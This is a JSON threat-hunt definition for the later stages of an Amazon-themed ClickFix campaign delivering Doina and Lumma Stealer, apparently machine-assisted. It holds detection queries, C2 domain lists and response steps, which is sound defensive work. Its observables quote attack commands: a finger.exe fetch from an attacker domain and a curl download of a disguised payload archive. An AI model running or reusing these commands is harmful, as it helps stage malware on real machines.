{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "The campaign uses multi-stage, portable runtimes to deploy infostealers. A negative result confirms that these staging directories and associated network signals are absent from the estate." }, "name": "Amazon ClickFix Multi-stage Malware Infection", "type": "investigation", "labels": [ "hunt", "attack.t1055.012", "attack.t1071", "attack.t1115", "attack.t1190", "attack.t1218", "attack.t1486", "attack.t1555", "credential access", "defense evasion", "execution", "initial access", "persistence" ], "series": { "slug": "amazon-themed-clickfix-campaign-serves-up-finger-licking-malware", "index": 2, "title": "Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware", "total": 2 }, "related": [ { "hunt": "amazon-clickfix-finger-lolbin-execution", "reason": "This hunt focuses on the infection chain following the initial finger.exe LOLbin execution.", "relation": "follows" }, { "hunt": "amazon-clickfix-finger-abuse", "relation": "follows" } ], "targets": { "web": { "name": "Web server / proxy logs", "category": "siem", "telemetry": [ "network" ] }, "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "This is a hunt because a simple rule for Node.js execution is too noisy. We use fleet-wide stack counting for process paths and join with specific HTTP URI patterns to build a high confidence picture of a multi-stage infection.", "coverage": [ { "stage": "loader-execution-doina", "steps": [ "suspicious-interpreter-execution", "malicious-payload-traffic" ], "status": "covered" }, { "stage": "persistence-node-js-deployment", "steps": [ "suspicious-interpreter-execution", "interpreter-path-rarity" ], "status": "covered" }, { "stage": "credential-access-lumma", "steps": [ "suspicious-interpreter-execution", "malicious-payload-traffic" ], "status": "covered" }, { "stage": "initial-access-seo-lure", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "execution-finger-lolbin", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "payload-delivery-ironpython", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Amazon-themed SEO Poisoning", "slug": "initial-access-seo-lure", "tactic": "initial-access", "techniques": [ "T1190" ], "observables": [ "orders-amazon.com.advancedfences.com", "sites.google.com/view/ch-pc/sign-in", "ashevilleroofingcontractor.com", "Search keyword: 'amazon business'" ] }, { "name": "Finger LOLbin Command Execution", "slug": "execution-finger-lolbin", "tactic": "execution", "techniques": [ "T1218", "T1115" ], "observables": [ "finger.exe", "finger DLVBUCeFfF@grillrecipespro.com", "Command line obfuscated with characters: ^ , - _", "Clipboard pastejacking via 'I'm not a robot' button" ] }, { "name": "IronPython Payload Staging", "slug": "payload-delivery-ironpython", "tactic": "execution", "techniques": [ "T1218" ], "observables": [ "curl -o %TEMP%\\*.pdf github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip", "tar.exe", "ipyw32.exe", "IronPython.3.4.2.zip" ] }, { "name": "Doina Malware Loader", "slug": "loader-execution-doina", "tactic": "defense-evasion", "techniques": [ "T1055.012", "T1071" ], "observables": [ "grillmasterchef.com/90e4a147-1234-505c-a024-062e543b5df8/timer6", "grillmasterchef.com/90e4a147-1234-505c-a024-062e543b5df8/v6", "Python script using Cyrillic character substitution for Base64", "RC4 encrypted PE file 'v6'" ] }, { "name": "Node.js Environment Deployment", "slug": "persistence-node-js-deployment", "tactic": "persistence", "techniques": [ "T1071" ], "observables": [ "C:\\ProgramData\\NodeView", "kiriosyka.com/KsxmmKiN5N0j/sqr-viewertr6", "node.exe", "index.js", "Unpacking 52MB ZIP containing portable Node.js" ] }, { "name": "Lumma Stealer Infostrealt", "slug": "credential-access-lumma", "tactic": "credential-access", "techniques": [ "T1555", "T1055.012", "T1071" ], "observables": [ "Lumma Stealer memory injection via sRDI", "Websocket beaconing", "HTTPS POST profiling data containing hostname and username", "Process hollowing into legitimate system processes" ] } ], "summary": "A multi-stage ClickFix campaign uses sponsored Google search results for 'Amazon Business' to lead victims to fake login pages and CAPTCHAs that trigger pastejacked commands. These commands abuse the 'finger' utility to download a convoluted sequence of loaders, including IronPython and Node.js, which ultimately deliver Doina malware and Lumma Stealer via process hollowing." }, "severity": "high", "rationale": "Focus on workstations and endpoints where end users would likely be browsing. Exclude developer machines where Node.js or Python might legitimately run from unusual paths.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An adversary is deploying portable Node.js and IronPython interpreters to user-writable directories to execute obfuscated Doina loaders and Lumma infostealers.", "parameters": { "c2_domains": { "from": { "ref": "huntress-amazon-clickfix", "kind": "article", "observed": "2026-10-21" }, "type": "list[domain]", "default": [ "grillmasterchef.com", "kiriosyka.com", "grillrecipespro.com" ], "description": "C2 domains associated with payload delivery and beaconing." }, "scope_hosts": { "from": { "ref": "analyst-pivot", "kind": "manual", "observed": "2026-10-21" }, "type": "list[host]", "default": [], "description": "Hostnames identified in the first step; leave empty to scan the full estate." }, "stage_paths": { "from": { "ref": "huntress-amazon-clickfix", "kind": "article", "observed": "2026-10-21" }, "type": "list[path]", "default": [ "/timer6local", "/v6", "/sqr-viewertr6" ], "description": "URL path segments for malware payload staging." }, "lookback_days": { "from": { "ref": "hunt-scope", "kind": "manual", "observed": "2026-10-21" }, "type": "number", "default": "14", "description": "Days of history to examine." }, "interpreter_names": { "from": { "ref": "huntress-amazon-clickfix", "kind": "article", "observed": "2026-10-21" }, "type": "list[string]", "default": [ "node.exe", "ipyw32.exe", "python.exe" ], "description": "Filenames of portable interpreters used in the campaign." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://www.huntress.com/blog/amazon-clickfix-finger", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://www.huntress.com/blog/amazon-clickfix-finger", "name": "Huntress \u2014 Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware" } ], "blind_spots": [ { "id": "endpoint-visibility-gap", "risk": "Infections on shadow IT or unmanaged hosts will not be visible in process telemetry.", "question": "whether the infection occurred on unmanaged assets", "requires": "endpoint agents on all assets" }, { "id": "websocket-content-visibility", "risk": "While the HTTP handshake is logged, the subsequent websocket traffic where monitoring occurs is not visible in hb_http_activity.", "stage": "credential-access-lumma", "question": "can the websocket monitor traffic be inspected for C2 commands", "requires": "Layer 7 websocket frame logging" } ] }, "name": "Amazon ClickFix Multi-stage Malware Infection", "description": "This hunt targets the subsequent stages of the Amazon-themed ClickFix campaign. It identifies portable runtimes (IronPython and Node.js) operating from unusual paths like ProgramData or Temp, uses prevalence analysis to distinguish them from standard software, and corroborates the activity using HTTP telemetry for barbeque-themed C2 domains and specific payload URIs. The campaign culminate in the execution of the Doina loader and fileless Lumma Stealer which profiles the host and beacons via websockets." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "amazon-themed-clickfix-campaign-serves-up-finger-licking-malware", "index": 2, "title": "Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware", "total": 2 }, "coverage": [ { "stage": "loader-execution-doina", "steps": [ "suspicious-interpreter-execution", "malicious-payload-traffic" ], "status": "covered" }, { "stage": "persistence-node-js-deployment", "steps": [ "suspicious-interpreter-execution", "interpreter-path-rarity" ], "status": "covered" }, { "stage": "credential-access-lumma", "steps": [ "suspicious-interpreter-execution", "malicious-payload-traffic" ], "status": "covered" }, { "stage": "initial-access-seo-lure", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "execution-finger-lolbin", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "payload-delivery-ironpython", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" } ], "rationale": "An adversary is deploying portable Node.js and IronPython interpreters to user-writable directories to execute obfuscated Doina loaders and Lumma infostealers.", "blind_spots": [ { "id": "endpoint-visibility-gap", "risk": "Infections on shadow IT or unmanaged hosts will not be visible in process telemetry.", "question": "whether the infection occurred on unmanaged assets", "requires": "endpoint agents on all assets" }, { "id": "websocket-content-visibility", "risk": "While the HTTP handshake is logged, the subsequent websocket traffic where monitoring occurs is not visible in hb_http_activity.", "stage": "credential-access-lumma", "question": "can the websocket monitor traffic be inspected for C2 commands", "requires": "Layer 7 websocket frame logging" } ], "scoping_notes": "Focus on workstations and endpoints where end users would likely be browsing. Exclude developer machines where Node.js or Python might legitimately run from unusual paths.", "beyond_detection": "This is a hunt because a simple rule for Node.js execution is too noisy. We use fleet-wide stack counting for process paths and join with specific HTTP URI patterns to build a high confidence picture of a multi-stage infection." } }, { "id": "suspicious-interpreter-execution", "type": "query", "label": "Portable interpreters in unusual paths", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, process_name, process_path, process_cmd_line, user_name, on_disk, time FROM hb_process_activity WHERE instr(',' || '{{interpreter_names}}' || ',', ',' || LOWER(process_name) || ',') > 0 AND (LOWER(process_path) LIKE '%\\\\programdata\\\\%' OR LOWER(process_path) LIKE '%\\\\users\\\\public\\\\%' OR LOWER(process_path) LIKE '%\\\\temp\\\\%') AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_process_activity", "description": "Identify Node.js or IronPython interpreters in user-writable directories to find campaign staging.", "expected_signal": "Execution of node.exe or ipyw32.exe from paths like C:\\ProgramData\\NodeView. Processes with on_disk = 0 suggest successful memory injection." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Portable interpreters in unusual paths", "reads": [ "device_hostname", "process_name", "process_path", "process_cmd_line", "user_name", "on_disk", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT device_hostname, process_name, process_path, process_cmd_line, user_name, on_disk, time FROM hb_process_activity WHERE instr(',' || '{{interpreter_names}}' || ',', ',' || LOWER(process_name) || ',') > 0 AND (LOWER(process_path) LIKE '%\\\\programdata\\\\%' OR LOWER(process_path) LIKE '%\\\\users\\\\public\\\\%' OR LOWER(process_path) LIKE '%\\\\temp\\\\%') AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "Execution of node.exe or ipyw32.exe from paths like C:\\ProgramData\\NodeView. Processes with on_disk = 0 suggest successful memory injection.", "verified": "dry-run", "verified_at": "2026-10-22" } }, { "id": "interpreter-path-rarity", "type": "query", "label": "Interpreter path rarity across fleet", "config": { "dsl": "sqlite", "role": "baseline", "source": "endpoint", "content": "SELECT LOWER(process_path) AS path, COUNT(DISTINCT device_hostname) AS hosts, COUNT(*) AS runs, MIN(time) AS first_seen FROM hb_process_activity WHERE instr(',' || '{{interpreter_names}}' || ',', ',' || LOWER(process_name) || ',') > 0 AND (LOWER(process_path) LIKE '%\\\\programdata\\\\%' OR LOWER(process_path) LIKE '%\\\\users\\\\public\\\\%' OR LOWER(process_path) LIKE '%\\\\temp\\\\%') AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY LOWER(process_path) HAVING hosts <= 3 ORDER BY hosts, runs", "surface": "hb_process_activity", "description": "Stack count the specific interpreter paths to isolate malicious deployments from standard developer workstations.", "expected_signal": "Interpreter paths appearing on only a few hosts, indicating likely malware staging directories like NodeView." }, "parents": [ { "id": "suspicious-interpreter-execution" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "Interpreter path rarity across fleet", "reads": [ "process_path", "device_hostname", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT LOWER(process_path) AS path, COUNT(DISTINCT device_hostname) AS hosts, COUNT(*) AS runs, MIN(time) AS first_seen FROM hb_process_activity WHERE instr(',' || '{{interpreter_names}}' || ',', ',' || LOWER(process_name) || ',') > 0 AND (LOWER(process_path) LIKE '%\\\\programdata\\\\%' OR LOWER(process_path) LIKE '%\\\\users\\\\public\\\\%' OR LOWER(process_path) LIKE '%\\\\temp\\\\%') AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY LOWER(process_path) HAVING hosts <= 3 ORDER BY hosts, runs", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "Interpreter paths appearing on only a few hosts, indicating likely malware staging directories like NodeView.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "process_path" ], "rare_below": 3 }, "verified_at": "2026-10-22" } }, { "id": "malicious-payload-traffic", "type": "query", "label": "Traffic to malicious domains and paths", "config": { "dsl": "sqlite", "role": "enrichment", "source": "web", "content": "SELECT device_hostname, url_hostname, url_path, http_method, user_agent, time FROM hb_http_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(url_hostname) || ',') > 0 OR instr(',' || '{{stage_paths}}' || ',', ',' || LOWER(url_path) || ',') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_http_activity", "description": "Match network activity against the BBQ themed domains and specific payload URL paths, anchored to hosts found in the lead step.", "expected_signal": "HTTP requests to domains like grillmasterchef.com or paths like sqr-viewertr6. Silence here is common if the infection has moved to websocket communication." }, "parents": [ { "id": "suspicious-interpreter-execution" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Traffic to malicious domains and paths", "reads": [ "device_hostname", "url_hostname", "url_path", "http_method", "user_agent", "time" ], "source": "hb_http_activity", "target": "web", "content": "SELECT device_hostname, url_hostname, url_path, http_method, user_agent, time FROM hb_http_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(url_hostname) || ',') > 0 OR instr(',' || '{{stage_paths}}' || ',', ',' || LOWER(url_path) || ',') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "HTTP requests to domains like grillmasterchef.com or paths like sqr-viewertr6. Silence here is common if the infection has moved to websocket communication.", "verified": "dry-run", "verified_at": "2026-10-22" } }, { "id": "triage-infection", "type": "analytic", "label": "Triage the infection evidence", "config": { "cite": "required", "tools": [ "endpoint", "web" ], "context": [ "suspicious-interpreter-execution", "interpreter-path-rarity", "malicious-payload-traffic" ], "objective": "Decide whether a host running a portable interpreter from a rare path has been compromised, specifically looking for correlations with BBQ themed domains or payload URIs like timer6 or v6.", "description": "Analyze the combination of suspicious interpreter execution, path rarity, and network traffic to reach a verdict for each host.", "max_iterations": 6, "success_criteria": "A per host verdict of malicious | suspicious | benign citing specific process paths and URL hits." }, "parents": [ { "id": "interpreter-path-rarity", "kind": "merge" }, { "id": "malicious-payload-traffic", "kind": "merge" } ] }, { "id": "route-infection", "type": "checkpoint", "label": "Route based on triage", "config": { "fuzzy": true, "judge": "hunter", "question": "the triage-infection verdict is malicious for at least one host", "condition": "the triage-infection verdict is malicious for at least one host", "blind_spot": "endpoint-visibility-gap", "confidence": "high", "description": "Isolate hosts with confirmed infections and route inconclusive evidence for analyst review.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "triage-infection" } ] }, { "id": "isolate-host", "type": "action", "label": "Isolate infected host", "config": { "target": "endpoint", "description": "Sever the adversary C2 connection and prevent further data theft while preserving forensic evidence.", "instructions": "Isolate the host from the network. Collect the contents of C:\\ProgramData\\NodeView and any .pdf or .js files from the user Temp directory for analysis.", "action_approval": "required" }, "parents": [ { "id": "route-infection", "branch": "on_supports" } ] }, { "id": "analyst-review", "type": "task", "label": "Detailed forensic review", "config": { "assignee": "analyst", "description": "Verify the presence of malicious obfuscated code and confirm the scope of credential exposure.", "instructions": "Inspect the captured files for Cyrillic characters used to bypass Base64 decoding in Python. Check index.js for sRDI loader patterns. Review network telemetry for websocket handshakes to kiriosyka.com." }, "parents": [ { "id": "route-infection", "branch": "default" }, { "id": "route-infection", "branch": "on_unavailable" }, { "id": "isolate-host" } ] }, { "id": "close-out", "type": "task", "label": "Remediation and close out", "config": { "assignee": "analyst", "description": "Ensure permanent remediation of the threat and record findings.", "instructions": "Rotate passwords for all users on infected hosts; Lumma Stealer steals local credentials." }, "parents": [ { "id": "route-infection", "branch": "on_refutes" }, { "id": "analyst-review" } ] } ] }